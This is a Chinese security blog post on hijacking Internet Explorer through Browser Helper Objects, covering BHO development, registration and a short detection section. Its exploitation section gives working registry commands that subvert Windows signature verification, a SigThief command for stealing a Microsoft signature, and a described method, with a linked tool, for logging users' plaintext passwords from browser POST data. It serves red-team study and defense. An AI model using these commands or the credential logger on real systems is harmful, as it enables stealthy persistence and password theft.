利用 BHO 实现 IE 浏览器劫持

发布于 2025-01-21 17:43:27 字数 6168 浏览 1 评论 0

0x00 前言

本文源于一个隐蔽连接的测试,模拟 IE 浏览器发起网络连接,能绕过某些防护产品拦截发起网络连接的第三方程序

模拟 IE 浏览器发起网络连接的方法有很多种,其中,利用 BHO 劫持 IE 浏览器存在诸多优点(开放接口、简单高效、功能丰富等),所以本文将要介绍 BHO 的开发和劫持利用思路

0x01 简介

本文将要介绍以下内容:

  • BHO 简介
  • 开发 BHO
  • 利用思路
  • 实际测试
  • 防御

0x02 BHO 简介

BHO,全称 Browser Helper Object(浏览器辅助对象)

微软推出的作为浏览器对第三方程序员开放交互接口的业界标准

BHO 的作用:

  • 获取浏览器行为,如“后退”、“前进”、“当前页面”等
  • 控制浏览器行为,如修改替换浏览器工具栏,添加自己的程序按钮等

BHO 依托于浏览器主窗口, 与浏览器实例生命周期一致,即浏览器页面打开时 BHO 对象运行,页面关闭时随之结束

使用 BHO 时需要注册,相当于写入注册表,位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}HKEY_CLASSES_ROOT\CLSID\{GUID}

0x03 开发 BHO

本节仅作简要介绍

开发工具: VS2012

1、生成 dll

新建 - Visual C++ - ATL

添加 - - ATL - ATL 简单对象 ,设定简称为 HelloWorldBHO ,选中 IObjectWithSite(IE 对象支持)

修改以下文件:

  • HelloWorldBHO.h
  • HelloWorldBHO.cpp
  • dllmain.cpp
  • HelloWorld.rgs

注:详情可参考 http://blog.csdn.net/feier7501/article/details/11266345

helloworld.rgs 内保存 BHO 的 GUID,如下图

Alt text

HelloWorldBHO.rgs 内保存 BHO 的名称,如下图

Alt text

helloworld.rc 内的 CompanyName 代表发行者, PRODUCTVERSION 代表版本,如下图

Alt text

注:以上三个图对应下文加载项的显示信息

HelloWorldBHO.cpp 保存 IE 浏览器中不同事件对应的操作,这里仅介绍一段实例代码(详细代码参照开源工程),实现当页面加载完成时,弹框显示当前 URL,关键代码如下:

void STDMETHODCALLTYPE CHelloWorldBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)  
{  
    BSTR url = pvarURL->bstrVal;
    CComBSTR u(url);
    // Retrieve the top-level window from the site.  
    HWND hwnd;  
    HRESULT hr = m_spWebBrowser->get_HWND((LONG_PTR*)&hwnd);  
    if (SUCCEEDED(hr))  
    {  
        MessageBox(0, u, L"the url is", MB_OK);
    }  
}

编译生成 helloworld.dll

注:如果 VS2012 不是管理员权限,编译时提示无法注册,接下来可以手动注册

2、注册 dll

需要管理员权限,命令如下:

regsve32 helloworld.dll /s

注:/s 参数用来去掉注册成功的提示框,相当于写入注册表,位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}HKEY_CLASSES_ROOT\CLSID\{GUID}

补充:卸载 dll:

regsve32 helloworld.dll /s /u

或者删除对应的注册表键值

0x04 实际测试

测试系统: Win 7x86 IE8

打开 IE 浏览器,弹出对话框,显示当前 URL,如下图

Alt text

查看 IE 的加载项,位于 工具 - 管理加载项 ,获得加载项信息,如下图

Alt text

其中的名称、发行者、版本可通过前文的 helloworld.rgs、HelloWorldBHO.rgs、helloworld.rc 指定,文件日期对应 dll 的修改时间

由于我们自己生成的 dll 没有微软签名,所以显示 未验证

0x05 利用思路

1、伪造微软签名,隐藏 BHO

向 helloworld.dll 添加微软的 Authenticode 签名,修改注册表劫持系统的签名验证功能,使签名生效

需要使用 Microsoft Corporation 的签名,可在 Office 文件中获得,可用的路径: C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL

使用 SigThief 添加签名,下载地址:https://github.com/secretsquirrel/SigThief

参数:

sigthief.py -i "C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL" -t helloworld.dll -o new.dll

生成 new.dll

修改注册表,劫持签名签证功能: (管理员权限)

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

注册 dll,重新打开 IE,查看加载项,验证通过,如下图

Alt text

注:修改 BHO 的信息能够进一步隐藏 BHO

2、抓取浏览器 POST 数据,记录明文口令

抓取浏览器 POST 数据的开源代码可从 github 获得,参考地址:https://github.com/liigo/bho

在 BeforeNavigate2 事件前抓取浏览器的 POST 数据

我在自己的工程中直接引用了其中的关键函数: STDMETHODIMP CBhoApp::Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pvarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr)

添加函数声明,实现记录日志的功能

注:GetTempPath 获取当前系统的 Temp 目录,IE 权限下实际的路径为 %Temp%\Low

完整代码已开源,地址如下:https://github.com/3gstudent/IE-BHO-POSTdata-Logger

抓取浏览器 POST 数据,能够获得用户输入的明文口令,例如 github 的登录密码,如下图

Alt text

3、下载文件

通过这种方式下载文件,防火墙软件的管理端显示下载文件的程序为 IE 浏览器,能够在一定程度上实现隐藏

4、在 IE 页面注入 js

可参考以下开源工程做进一步修改:https://github.com/xiyiaoo/BHO

本文不做进一步介绍

5、补充

默认 BHO 的权限为 low,所以在操作上会有一些限制,如果通过其他方式获得了高权限,那么可供利用的方式会更多

0x06 防御检测

防御:

BHO 利用的前提是需要获得系统的管理员权限

检测:

  • 查看 IE 浏览器中的加载项
  • 查看 IE 进程加载的 dll

0x07 小结

本文介绍了 IE 浏览器辅助对象 BHO 的开发方法,分析了在获得系统管理员权限后的利用思路,部分利用技术点到为止。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

明天过后

暂无简介

文章
评论
26 人气
更多

推荐作者

白云不回头

文章 0 评论 0

糖粟与秋泊

文章 0 评论 0

洋豆豆

文章 0 评论 0

泛滥成性

文章 0 评论 0

mb_2YvjCLvt

文章 0 评论 0

夜光

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文